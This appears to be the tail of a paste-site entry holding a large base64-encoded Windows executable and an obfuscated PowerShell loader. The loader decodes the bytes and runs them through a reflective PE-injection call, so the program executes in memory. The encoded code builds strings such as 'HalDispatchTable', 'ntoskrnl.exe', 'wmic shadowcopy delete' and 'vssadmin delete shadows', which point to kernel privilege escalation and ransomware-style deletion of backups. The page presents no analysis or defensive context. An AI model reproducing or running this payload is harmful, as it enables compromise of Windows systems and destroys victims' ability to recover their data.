tAEcAQgAAAGcAbAAtAEUAUwAAAGsAbwBrAC0ASQBOAAAAAABzAHkAcgAtAFMAWQAAAAAAZABpAHYALQBNAFYAAAAAAHEAdQB6AC0AQgBPAAAAAABuAHMALQBaAEEAAABtAGkALQBOAFoAAABhAHIALQBJAFEAAABkAGUALQBDAEgAAABlAG4ALQBHAEIAAABlAHMALQBNAFgAAABmAHIALQBCAEUAAABpAHQALQBDAEgAAABuAGwALQBCAEU','DrDdBWEwHTXOuN0BoTkdM/rkV5fjUL/W8ONQv5eX1vDjUL9Xl9bw41C/F5fW8NVi+xWi/GLTQjGRgwAhcl1ZlfoYg0AAIv4iX4Ii1dsiRaLT2iJTgQ7FZymARB0EaFYpwEQhUdwdQfozwQAAIkGi0YEXzsFNKQBEHQVi04IoVinARCFQXB1COgxCAAAiUYEi04Ii0FwqAJ1FoPIAolBcMZGDAHrCosBiQaLQQSJRgSLxl5dwgQAVYvsg+wQ/3UMjU3w6Gf///+LTfCDeXQBfhWNRfBQagT/dQjoGAwAAIPEDIvI6xCLiZAAAACLRQgPtwxBg+EEgH38AHQHi0X4g2Bw/YvBi+Vdw1WL7IM95AUCEAB1EYtNCKEwpwEQD7cESIPgBF3DagD/dQjoh////1lZXcNVi+yDJcAFAhAAg+wcUzPbQwkdAKABEGoK6AqHAACFwA+ETAEAADPJiR3ABQIQM8APolaLNQCgARBXjX3kg84CiQeJXwSJTwiJVwyLReSLTfCJRfSB8WluZUmLRew1bnRlbIk1AKABEAvIi0XoNUdlbnULyPfZagEayVj+wWoAWQ+iiQeJXwSJTwiJVwyLTeyJTfh0Q4tF5CXwP/8PPcAGAQB0Iz1gBgIAdBw9cAYCAHQVPVAGAwB0Dj1gBgMAdAc9cAYDAHURiz3EBQIQg88BiT3EBQIQ6waLPcQFAhCDffQHfDVqBzPJjXXkWA+iiQaLxos1AKABEIlYBIlICItN+IlQDItF6KkAAgAAdA2DzwKJPcQFAhDrAjPA98EAABAAdE2DzgTHBcAFAhACAAAAiTUAoAEQ98EAAAAIdDL3wQAAABB0KoPOCMcFwAUCEAMAAACJNQCgARCoIHQTg84gxwXABQIQBQAAAIk1AKABEF9eM8Bbi+Vdw1WL7ItVCDPJU1ZBV4vB8A/BAotyeIX2dAaLwfAPwQaLsoAAAACF9nQGi8HwD8EGi3J8hfZ0BovB8A/BBouyiAAAAIX2dAaLwfAPwQZqBo1yHFuBfvgwpQEQdAyLPoX/dAaLwfAPwQeDfvQAdA2LfvyF/3QGi8HwD8EHg8YQS3XSi4KcAAAABbAAAADwD8EIQV9eW13DVYvsU1aLdQgz21eLhoQAAACFwHRmPYioARB0X4tGeIXAdFg5GHVUi4aAAAAAhcB0FzkYdRNQ6IgOAAD/toQAAADot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','EOsFaCyGARD/c3z/14tEJBxAiUQkHIP4Gw+C2f7///9zfP8VzDEBEItLfDPSizVkMQEQZolUQf4z/zm7gAAAAHQsagRoADAAAGiBAAAAV//WiYOEAAAAhcB0DWgAgAAAV1D/FcQxARCJu4AAAABfM8BeQFuL5V3DVYvsg+xIU1aLNWQxARC7ADAAAFdqBFNoAAQAADPAUP/Wi30IagRTagQz24kHU8dFuDSGARDHRbxEhgEQx0XAWIYBEMdFxGyGARDHRciEhgEQx0XMqIYBEMdF0MSGARDHRdTghgEQx0XY/IYBEMdF3AyHARDHReAkhwEQx0XkPIcBEMdF6FiHARDHRexohwEQ/9aL8IX2dQczwOk0AQAAU2oCxwYsAgAA/xXUMAEQiUXwg/j/dQ9oAIAAAFNW/xXEMQEQ69NWM8mJXfhQiV0IiU38/xXMMAEQh','AA/3X8/3XwaJB1ARBoAQAAgOgq/f//g8QYhcB0GWjAdQEQ/3X8/xWgMAEQhcB1B8dF9AEAAACLReRIOUX4dQLrAuuQi0386JI9AACLRfSL5V3DVYvs6AAAAAA+gwQkEXUFdAPpKBRY/+AA6egH////hcB0BTPAQOsQ6Ar+//+FwHQFM8BA6wIzwF3DVYvsgezMAAAA6AAAAAA+gwQkEXUFdAPpKBRY/+AA6YNl/ACDZfgAg2X0AOg5QAAAhcAPhPYAAABqXFhmiUW4andYZolFumpiWGaJRbxqZVhmiUW+am1YZolFwGpcWGaJRcJqd1hmiUXEam1YZolFxmppWGaJRchqY1hmiUXKai5YZolFzGplWGaJRc5qeFhmiUXQamVYZolF0jPAZolF1GpzWGaJRZRqaFhmiUWWamFYZolFmGpkWGaJRZpqb1hmiUWcandYZolFnmpjWGaJRaBqb1hmiUWianBYZolFpGp5WGaJRaZqIFhmiUWoamRYZolFqmplWGaJRaxqbFhmiUWuamVYZolFsGp0WGaJRbJqZVhmiUW0M8BmiUW2jUW4iUX4jUWUiUX06bcBAABqXFhmiUXYamNYZolF2mptWGaJRdxqZFhmiUXeai5YZolF4GplWGaJReJqeFhmiUXkamVYZolF5jPAZolF6GovWGaJhUT///9qY1hmiYVG////aiBYZomFSP///2p2WGaJhUr///9qc1hmiYVM////anNYZomFTv///2phWGaJhVD///9qZFhmiYVS////am1YZomFVP///2ppWGaJhVb///9qblhmiYVY////aiBYZomFWv///2pkWGaJhVz///9qZVhmiYVe////amxYZomFYP///2plWGaJhWL///9qdFhmiYVk////amVYZomFZv///2ogWGaJhWj///9qc1hmiYVq////amhYZomFbP///2phWGaJhW7///9qZFhmiYVw////am9YZom','dCH/dfT/NYQSAhD/FZgxA','AVnBWoFfQUlBSsFaAVmBXIFJQUrBWgFYQUwBSUFKwVoBWAFJQUrBWgFYAVpBWkFJQUrBWgFYAVpBWkFYAVpBSUFKwVoBWwFawUlBSsFaAVrBXEFJQUrBWgFdgViBSUFKwVoBXIFJQUrBWgFcgVhBSUFKwVoBXIFdQUlBSsFawVnBSUFKwVrBWEFagVmBSUFKwVrBWMFagUlBSsFawViBWkFagV2BXYFJQUrBWsFbwV9BSUFKwVrBWoFcQVgBSUFKwVrBWoFcQVgBXYFJQUrBWsFagVyBSUFKwVrBXIFZgVxBX0FcQUlBSsFawVyBWgFJQUrBWsFcgV1BSUFKwVqBWYFdwUlBSsFagVhBWwFYwUlBSsFagVhBWgFJQUrBWoFYQVqBSUFKwVqBWEFcQUlBSsFagVjBWkFJQUrBWoFdQVgBWwFZgVqBSUFKwVqBXUFYAVrBWcFdgVhBSUFKwVqBXcFcQUlBSsFagVxBXEFJQUrBXUFMgV2BSUFKwV1BWQFYgVgBXYFJQUrBXUFZAViBWAFdgUoBXEFYAVjBSUFKwV1BWEFdQVmBWgFYQUlBSsFdQVjBX0FJQUrBXUFbwVxBSUFKwV1BWkFZAVsBWsFJQUrBXUFaQVkBWsFcQVwBWgFaQUlBS','AAABuAG4ALQBOAE8AAABwAHQALQBQAFQAAABzAHIALQBTAFAALQBMAGEAdABuAAAAAABzAHYALQBGAEkAAABhAHoALQBBAFoALQBDAHkAcgBsAAAAAABzAGUALQBTAEUAAABtAHMALQBCAE4AAAB1AHoALQBVAFoALQBDAHkAcgBsAAAAAABxAHUAegAtAEUAQwAAAAAAYQByAC0ARQBHAAAAegBoAC0ASABLAAAAZABlAC0AQQBUAAAAZQBuAC0AQQBVAAAAZQBzAC0ARQBTAAAAZgByAC0AQwBBAAAAcwByAC0AUwBQAC0AQwB5AHIAbAAAAAAAcwBlAC0ARgBJAAAAcQB1AHoALQBQAEUAAAAAAGEAcgAtAEwAWQAAAHoAaAAtAFMARwAAAGQAZQAtAEwAVQAAAGUAbgAtAEMAQQAAAGUAcwAtAEcAVAAAAGYAcgAtAEMASAAAAGgAcgAtAEIAQQAAAHMAbQBqAC0ATgBPAAAAAABhAHIALQBEAFoAAAB6AGgALQBNAE8AAABkAGUALQBMAEkAAABlAG4ALQBOAFoAAABlAHMALQBDAFIAAABmAHIALQBMAFUAAABiAHMALQBCAEEALQBMAGEAdABuAAAAAABzAG0AagAtAFMARQAAAAAAYQByAC0ATQBBAAAAZQBuAC0ASQBFAAAAZQBzAC0AUABBAAAAZgByAC0ATQBDAAAAcwByAC0AQgBBAC0ATABhAHQAbgAAAAAAcwBtAGEALQBOAE8AAAAAAGEAcgAtAFQATgAAAGUAbgAtAFoAQ','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')
  2760. [Byte[]]${Pe`ByT`es} = [Byte[]] $J1v::("{2}{1}{3}{0}"-f 'ng','as','FromB','e64Stri').Invoke(${peBYt`eS`32})
  2761. &("{4}{0}{2}{3}{1}{6}{5}" -f 'vok','U','e-R','FB','In','MEHAEMZBHI','X') -PEBytes ${p`e`ByTEs}
  2762.  
  2763. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement